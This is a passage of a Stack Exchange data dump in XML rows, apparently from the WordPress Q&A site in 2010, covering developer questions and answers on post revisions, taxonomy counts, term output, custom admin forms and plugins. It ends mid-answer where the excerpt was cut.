  <row Id="3391" PostTypeId="2" ParentId="3374" CreationDate="2010-10-28T15:16:09.713" Score="1" ViewCount="" Body="&lt;p&gt;LinksAlpha Network Publisher Automatically Publishes your Blog Posts to 20+ Social Networks including Facebook, Twitter, Google Buzz, LinkedIn, and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get started here : &lt;a href=&quot;http://www.linksalpha.com/publish&quot; rel=&quot;nofollow&quot;&gt;http://www.linksalpha.com/publish&lt;/a&gt; - &lt;a href=&quot;http://www.linksalpha.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.linksalpha.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps :)&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-10-28T15:16:09.713" CommentCount="1" />
  <row Id="3392" PostTypeId="2" ParentId="3253" CreationDate="2010-10-28T15:18:55.217" Score="3" ViewCount="" Body="&lt;p&gt;The following plugin dynamically hides the two offending radios using jQuery, and kills revision self-comparisons.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;# Plugin Name: Pest Control&#xA;# Plugin URI: http://www.semiologic.com/&#xA;# Description: Kills the Easter Bunny&#xA;# Version: 1.0&#xA;# Author: Denis de Bernardy&#xA;# License: Public Domain&#xA;&#xA;class PestControl {&#xA;    public static function bootstrap() {&#xA;        add_action('admin_head-revision.php', array(__CLASS__, 'mixomatosis'));&#xA;        add_action('load-revision.php', array(__CLASS__, 'plague'));&#xA;    }&#xA;&#xA;    public static function mixomatosis() {&#xA;        echo &amp;lt;&amp;lt;&amp;lt;EOD&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;// &amp;lt;![CDATA[&#xA;jQuery(document).ready(function($) {&#xA;    var mixomatosis = function() {&#xA;        var left = $(':radio[name=left]:checked').val(),&#xA;            right = $(':radio[name=right]:checked').val();&#xA;        $(':radio[name=left], :radio[name=right]').each(function() {&#xA;            var t = $(this);&#xA;            switch (true) {&#xA;                case t.attr('name') == 'left' &amp;amp;&amp;amp; t.attr('value') == right:&#xA;                case t.attr('name') == 'right' &amp;amp;&amp;amp; t.attr('value') == left:&#xA;                    t.css('display', 'none');&#xA;                    break;&#xA;                default:&#xA;                    t.css('display', '');&#xA;            }&#xA;        });&#xA;    };&#xA;&#xA;    mixomatosis();&#xA;    $(':radio[name=left], :radio[name=right]').change(mixomatosis);&#xA;});&#xA;// ]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;EOD;&#xA;    }&#xA;&#xA;    public static function plague() {&#xA;        if ($_GET['action'] == 'diff' &amp;amp;&amp;amp; $_GET['left'] == $_GET['right']) {&#xA;            wp_die(&quot;Can't compare a revision with itself.&quot;);&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;PestControl::bootstrap();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2010-10-31T13:00:42.167" LastActivityDate="2010-10-31T13:00:42.167" CommentCount="2" />
  <row Id="3393" PostTypeId="1" CreationDate="2010-10-28T16:07:57.167" Score="2" ViewCount="169" Body="&lt;p&gt;Is there a way to temporarily disable revisions.... I have noticed that &lt;code&gt;wp_update_post&lt;/code&gt; is very slow and creates revisions I don't need.&#xA;The fix could be to disable revisions before issuing &lt;code&gt;wp_update_post&lt;/code&gt; and re-enable the feature once done....&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2010-10-28T17:34:15.377" Title="Enable/disable post revisions programmatically" Tags="&lt;php&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3394" PostTypeId="1" CreationDate="2010-10-28T16:11:06.150" Score="2" ViewCount="506" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; The original title was &quot;How to know the number of custom type posts having a specific taxonomy&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stuck with the function &lt;code&gt;wp_count_posts()&lt;/code&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created custom post types called &lt;code&gt;'artwork'&lt;/code&gt; to display artworks in a gallery. I also created a custom taxonomy called &lt;code&gt;'artworkcat'&lt;/code&gt; to sort each artwork into a specific category (&lt;code&gt;'webdesign'&lt;/code&gt;, &lt;code&gt;'logo'&lt;/code&gt;, &lt;code&gt;'print'&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use the &lt;code&gt;wp_count_posts()&lt;/code&gt; to know how many posts I have using the &lt;code&gt;'artwork'&lt;/code&gt; custom post type, in a specific category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not clear, I give you a practical example : I would like to know how many posts I have in this &lt;code&gt;'artwork'&lt;/code&gt; custom post type, with the 'artworkcat' taxonomy called 'webdesign'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &lt;code&gt;wp_count_posts()&lt;/code&gt; work for this, adding some parameters ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help !&lt;/p&gt;&#xA;" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-29T10:53:10.947" LastActivityDate="2010-10-30T01:26:32.997" Title="Counting Posts of a Given Post Type Having a Specific Taxonomy?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;wp-query&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="3395" PostTypeId="1" AcceptedAnswerId="3427" CreationDate="2010-10-28T16:15:20.627" Score="0" ViewCount="312" Body="&lt;p&gt;So what's the difference between these, and when should we use each one?&#xA;Is esc_attr() safe enough to escape any type of data you get from the user ?&lt;/p&gt;&#xA;" OwnerUserId="600" LastActivityDate="2010-10-29T13:12:58.377" Title="difference between esc_attr(), strip_slashes(), strip_tags()?" Tags="&lt;3.0&gt;&lt;php&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="3396" PostTypeId="1" AcceptedAnswerId="3558" CreationDate="2010-10-28T17:04:20.863" Score="2" ViewCount="984" Body="&lt;p&gt;Is it possible to make custom page templates available from a plugin?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-07T23:13:45.237" LastActivityDate="2011-02-07T23:13:45.237" Title="Create custom page templates with plugins?" Tags="&lt;plugins&gt;&lt;template&gt;&lt;page-template&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="3397" PostTypeId="2" ParentId="3394" CreationDate="2010-10-28T17:09:50.237" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_count_posts()&lt;/code&gt; will not work for this, it does not accept a taxonomy parameter. You can do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxonomy = 'artworkcat';&#xA;$term_slug = 'webdesign';&#xA;$post_type = 'artwork';&#xA;&#xA;$term = get_term_by( 'slug', $term_slug, $taxonomy_type );&#xA;&#xA;$count = $wpdb-&amp;gt;get_var($wpdb-&amp;gt;prepare(&quot;SELECT COUNT(*) FROM $wpdb-&amp;gt;posts&#xA;INNER JOIN $wpdb-&amp;gt;term_relationships&#xA;ON ($wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;term_relationships.object_id)&#xA;INNER JOIN $wpdb-&amp;gt;term_taxonomy&#xA;ON ($wpdb-&amp;gt;term_relationships.term_taxonomy_id = $wpdb-&amp;gt;term_taxonomy.term_taxonomy_id)&#xA;WHERE $wpdb-&amp;gt;posts.post_type = $post_type&#xA;AND $wpdb-&amp;gt;term_taxonomy.taxonomy = $taxonomy&#xA;AND $wpdb-&amp;gt;term_taxonomy.term_id = {$term-&amp;gt;term_id};&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get a list of terms inside a taxonomy, use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_terms()&lt;/code&gt;&lt;/a&gt;.&#xA;E.g.: &lt;code&gt;get_terms('artworkcat')&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-28T17:15:49.247" LastActivityDate="2010-10-28T17:15:49.247" CommentCount="2" />
  <row Id="3398" PostTypeId="2" ParentId="3393" CreationDate="2010-10-28T17:34:15.377" Score="3" ViewCount="" Body="&lt;p&gt;Seems this will do the job:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action('pre_post_update', 'wp_save_post_revision');// stop revisions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_post_update', 'wp_save_post_revision');//  enable revisions again&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2010-10-28T17:34:15.377" />
  <row Id="3399" PostTypeId="2" ParentId="3331" CreationDate="2010-10-28T18:33:19.560" Score="0" ViewCount="" Body="&lt;p&gt;I would also be interested in this. There is bear league that is a component for Joomla and FixturesLive are looking to plug-in to that too. It is possible to use FixturesLive and League Republic and then just embed those into your standard page - see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.thedubaidragons.com/fixtures/first-xv/&quot; rel=&quot;nofollow&quot;&gt;http://www.thedubaidragons.com/fixtures/first-xv/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I'd like to create a plug-in that keeps all of this in-house.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-28T18:33:19.560" />
  <row Id="3400" PostTypeId="1" CreationDate="2010-10-28T19:16:02.760" Score="1" ViewCount="169" Body="&lt;p&gt;I have a site with ~30K users, and the vast majority have role &lt;code&gt;'subscriber'&lt;/code&gt; on the main blog. After upgrading from WPMU 2.9.2 to WordPress 3.0.1 I noticed that all 30,0000 users are appearing in the main blog's &lt;em&gt;&quot;Author&quot;&lt;/em&gt; dropdown in &lt;code&gt;post-new.php&lt;/code&gt;. &lt;em&gt;(Well, that is if it manages to load without crashing the browser...)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify: the users all still have subscriber-level access, but are included in &lt;em&gt;&quot;Author&quot;&lt;/em&gt; dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I go diving down in to the guts of &lt;code&gt;/wp-admin/&lt;/code&gt;, has anyone else seen this? Does anyone know if this behavior is an intentional change in WordPress? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Bethany&lt;/p&gt;&#xA;" OwnerUserId="1220" LastEditorUserId="1220" LastEditorDisplayName="" LastEditDate="2010-10-29T19:19:59.990" LastActivityDate="2010-12-22T15:15:25.847" Title="Subscribers become Authors after Upgrade? / Mass Update of Users?" Tags="&lt;wp-admin&gt;&lt;users&gt;&lt;upgrade&gt;&lt;update&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="3401" PostTypeId="1" CreationDate="2010-10-28T19:31:35.760" Score="1" ViewCount="105" Body="&lt;p&gt;I am looking for a plugin or a &quot;tool&quot; that would mod the administration interface and would allow me to mass edit the posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the posts are paginated by 20 post per page, if i have to turn 1000 post into drafts or delete them - i have to browse multiple pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same for changing categories or making mass changes to posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be quite a pain for big blogs with many posts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i was wondering, is there a &quot;Better&quot; way to manage posts in wordpress ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would you recommend ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am poking around the topic of post management and would love to hear from you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="692" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-11-06T21:50:56.797" LastActivityDate="2010-11-06T21:50:56.797" Title="What is the Better way to manage posts in Wordpress?" Tags="&lt;posts&gt;&lt;management&gt;" AnswerCount="2" />
  <row Id="3402" PostTypeId="2" ParentId="3394" CreationDate="2010-10-28T19:42:19.450" Score="0" ViewCount="" Body="&lt;p&gt;Sorich's code is great if you're comfortable manipulating SQL queries. If you'd rather build a simple query, you can use &lt;code&gt;get_posts()&lt;/code&gt; to return an array of post objects that match the desired query parameters and count them at the same time, returning a value. I've used this to count all sorts of combinations, as it's easy to modify.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'artwork',&#xA;    'post_status' =&amp;gt; 'any',&#xA;    'genre' =&amp;gt; 'romantic'&#xA;);&#xA;$num = count( get_posts( $args ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change the post_status arg to &quot;publish&quot; if you only want to count published items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you have the Query Multiple Taxonomies plugin by scribu installed, you can add multiple taxonomies to the args...&lt;/p&gt;&#xA;" OwnerUserId="838" LastEditorUserId="838" LastEditorDisplayName="" LastEditDate="2010-10-28T20:24:58.553" LastActivityDate="2010-10-28T20:24:58.553" />
  <row Id="3403" PostTypeId="2" ParentId="3401" CreationDate="2010-10-28T19:43:56.077" Score="2" ViewCount="" Body="&lt;p&gt;In paginated areas in admin interface you can click &lt;em&gt;Screen options&lt;/em&gt; (upper right) and change amount of items per page to display.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-28T19:43:56.077" CommentCount="3" />
  <row Id="3405" PostTypeId="1" AcceptedAnswerId="3408" CreationDate="2010-10-28T20:14:01.793" Score="0" ViewCount="198" Body="&lt;p&gt;Trying to print my custom post type's taxonomy but without the link. Tried this, but doesn't seem to work, any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$text = the_terms($post-&amp;gt;ID,'type','','',''); &#xA;echo strip_tags($text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated... I'm about to start punching babies.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2010-10-28T20:41:33.223" Title="Strip tags from a the terms() function" Tags="&lt;custom-taxonomy&gt;&lt;php&gt;" AnswerCount="2" />
  <row Id="3406" PostTypeId="2" ParentId="3405" CreationDate="2010-10-28T20:36:42.427" Score="1" ViewCount="" Body="&lt;p&gt;the_terms() echos the output and returns null.  So your first line is echoing the terms with the anchor tags and then your echoing null in the second line.  You want to use get_the_terms().&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-10-28T20:36:42.427" />
  <row Id="3407" PostTypeId="1" AcceptedAnswerId="3423" CreationDate="2010-10-28T20:40:32.740" Score="2" ViewCount="253" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; The original title was: &quot;Shrink full size images in post&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built a WordPress site for someone and they entered a ton of posts with images that are wider than the content area. Is there a way to shrink all of the image attachements to use a max width? They are entered as &quot;full size&quot;, not as thumbnail, medium, etc. &lt;/p&gt;&#xA;" OwnerUserId="1136" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-29T10:21:50.193" LastActivityDate="2010-10-29T10:21:50.193" Title="Downsizing Many Large Images Attached to Posts, in Bulk?" Tags="&lt;image-size&gt;&lt;automate&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="3408" PostTypeId="2" ParentId="3405" CreationDate="2010-10-28T20:41:33.223" Score="2" ViewCount="" Body="&lt;p&gt;You &lt;em&gt;could&lt;/em&gt; use a filter and &lt;code&gt;strip_tags()&lt;/code&gt;, as you suggested. Example using post tags, since that's the taxonomy I had available:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_remove_links( $term_links ) { &#xA;    return array_map('strip_tags', $term_links);&#xA;}&#xA;add_filter('term_links-post_tag', 'my_remove_links');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Really though, I would just &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/category-template.php#L898&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_terms()&lt;/code&gt;&lt;/a&gt; and and craft the output yourself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function the_simple_terms() {&#xA;    global $post;&#xA;    $terms = get_the_terms($post-&amp;gt;ID,'post_tag','',', ','');&#xA;    $terms = array_map('_simple_cb', $terms);&#xA;    return implode(', ', $terms);&#xA;}   &#xA;&#xA;function _simple_cb($t) {&#xA;    return $t-&amp;gt;name;&#xA;}&#xA;&#xA;echo the_simple_terms();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-10-28T20:41:33.223" CommentCount="1" />
  <row Id="3409" PostTypeId="1" CreationDate="2010-10-28T21:00:27.553" Score="2" ViewCount="28" Body="&lt;p&gt;I was asked to program out a blog/site. Everything went smoothly using thematic framework. Then I find out that they actually want to switch out themes and basically keep everything from the old site. The new design is slightly different in look as well as functionality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thier current blog is pimped out to the max&quot;I&lt;/p&gt;&#xA;&#xA;&lt;p&gt;has about 20 plugins&#xA;Has a forum with 6000 users&#xA;Subscribers/mailers&#xA;over 800 posts.&#xA;60pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to bring int bits and pieces to the new one, and unless I am doing it wrong, it was pretty cumbersome, mainly in part due to the plugins and all the feautres they had on the pages. There are also alot of users that are aprt of the site, some kind of subscription etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying this approach, I would love to hear some feedback or guidance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) I moved the site to a new directory keeping the old one intact and running for current users.&#xA;2.) I activated the new theme, and basically have had to implement the new widgets etc etc, restyle some things etc. But the idea is to get this new theme working in additions to the bizzilion plugings.&#xA;3.) Let the user test this one out alittle and make sure it is all working savy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.) Move this one into new directory backing up and replacing current one. &lt;/p&gt;&#xA;" LastActivityDate="2010-10-29T13:30:23.083" Title="retrofiting old blog" Tags="&lt;theme-development&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3410" PostTypeId="1" AcceptedAnswerId="3412" CreationDate="2010-10-28T21:29:43.383" Score="2" ViewCount="572" Body="&lt;p&gt;I just decided to try using WordPress for a CMS (not a blog).  The site will have some product information that I want the client to be able to update.  Instead of creating an entire admin side just for them to update their products, is it possible to create a form in the WordPress admin so they can add products to a database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is changing the WordPress admin side good practice?&lt;/p&gt;&#xA;" OwnerUserId="1414" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-28T23:09:21.453" LastActivityDate="2010-10-28T23:09:21.453" Title="Creating my own Admin Forms in a WordPress CMS?" Tags="&lt;3.0&gt;&lt;wp-admin&gt;&lt;admin&gt;&lt;cms&gt;&lt;forms&gt;" AnswerCount="1" FavoriteCount="6" />
  <row Id="3411" PostTypeId="1" CreationDate="2010-10-28T22:07:52.600" Score="1" ViewCount="111" Body="&lt;p&gt;I'm  trying to create a custom plugin that will change the way that wordpress names its cookings. Specifically, I want to write my own version of wp_user_settings().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I probably shouldn't hack core, so where is the best place to hook in to rewrite the function?&lt;/p&gt;&#xA;" OwnerUserId="76" LastActivityDate="2011-01-16T03:04:52.750" Title="Modifying the way WP sets cookies" Tags="&lt;plugin-development&gt;&lt;cookies&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3412" PostTypeId="2" ParentId="3410" CreationDate="2010-10-28T23:08:16.713" Score="7" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@drpcken&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Absolutely! That's exactly what I've been doing for months now. (&lt;em&gt;There are some &lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;&lt;strong&gt;screenshots&lt;/strong&gt;&lt;/a&gt; here to show you what's possible.)&lt;/em&gt; Just &lt;strong&gt;create a Custom Post Type&lt;/strong&gt; for your their products, and then use a plugin to allow to you create &lt;strong&gt;Custom Metaboxes&lt;/strong&gt; with fields. Here's a list to consider:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Plugins for Fields &amp;amp; Metaboxes&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The plugin that I think is best at the moment is &lt;strong&gt;Simple Fields&lt;/strong&gt; although I'd suggest you consider others:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-fields/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Simple Fields&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/easy-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Easy Custom Fields&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/verve-meta-boxes/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Verve Meta Boxes&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/magic-fields/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Magic Fields&lt;/strong&gt;&lt;/a&gt; (&lt;a href=&quot;http://magicfields.org/&quot; rel=&quot;nofollow&quot;&gt;See Also&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Plugins for Defining Post Types&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In addition you can simply define your custom post types with the &lt;code&gt;register_post_type()&lt;/code&gt; function &lt;em&gt;(which is how I prefer to do it, for many reasons not to least of which is it is easier to version control them with Subversion or Git if you do)&lt;/em&gt; or you can use one of these plugins which might be easier when you are new to custom post types:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/cms-press/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CMS Press&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Custom Post Type UI&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/easy-post-types/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP Easy Post Types&lt;/strong&gt;&lt;/a&gt; (&lt;a href=&quot;http://www.wpeasyposttypes.com/&quot; rel=&quot;nofollow&quot;&gt;See Also&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP Post Type UI&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/gd-taxonomies-tools/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;GD Custom Posts And Taxonomies Tools&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/ultimate-post-type-manager/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Ultimate Post Type Manager&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Some of these plugins may actually let you define fields too and some of the fields plugins I mentioned above may let you manage custom post types as well. I've not had the time to research them all so if I need to move these around or embellish on my description, please let me know.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Custom Post Type Archive Pages&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You'll also want to create archive pages for custom post types which will show up as a feature of WordPress 3.1 but until then these plugins might be useful (though I've not tried them):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-custom-post-type-archives/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Simple Custom Post Type Archives&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-archives/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Custom Post Type Archives&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Learning More About Custom Post Types&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;There are getting to be a lot of references on custom post types, here are some I can suggest &lt;em&gt;(I wrote the first two as answers where on WA)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;On StackExchange&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;&lt;strong&gt;Tips for using WordPress as a CMS?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/381/implementing-a-crunchbase-com-clone-using-wordpress/386#386&quot;&gt;&lt;strong&gt;Implementing a CrunchBase.com Clone using WordPress?&lt;/strong&gt;&lt;/a&gt;&#xA;&lt;br/&gt;&lt;br/&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;On WordPress Codex&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Custom_Post_Types&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Custom Post Types&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/post_type_supports&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&quot;Supports&quot; Reference for Custom Post Types&lt;/strong&gt;&lt;/a&gt;&#xA;&lt;br/&gt;&lt;br/&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Blog Posts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Custom post types in WordPress&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.noupe.com/wordpress/powerful-cms-using-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;101 Techniques for a Powerful CMS using WordPress&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/rock-solid-wordpress-3-0-themes-using-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Rock-Solid WordPress 3.0 Themes using Custom Post Types&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://new2wp.com/pro/wordpress-custom-post-types-and-taxonomies-done-right/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress Custom Post Types And Taxonomies The Right Way&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://kovshenin.com/archives/custom-post-types-in-wordpress-3-0/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Custom Post Types in WordPress 3.0&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.genuineinteractive.com/post/adding-custom-field-gui-to-custom-post-types-wordpress-3.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Adding Custom Field GUI to Custom Post Types in WordPress 3.0&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And here's some notes from a presentation I gave on Custom Post Types to the Atlanta WordPress Meetup group recently:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://files.meetup.com/1280797/custom-post-types-for-wordpress-atlwp-2010-10-24.html#links&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Presentation Notes: &lt;em&gt;Custom Post Types for 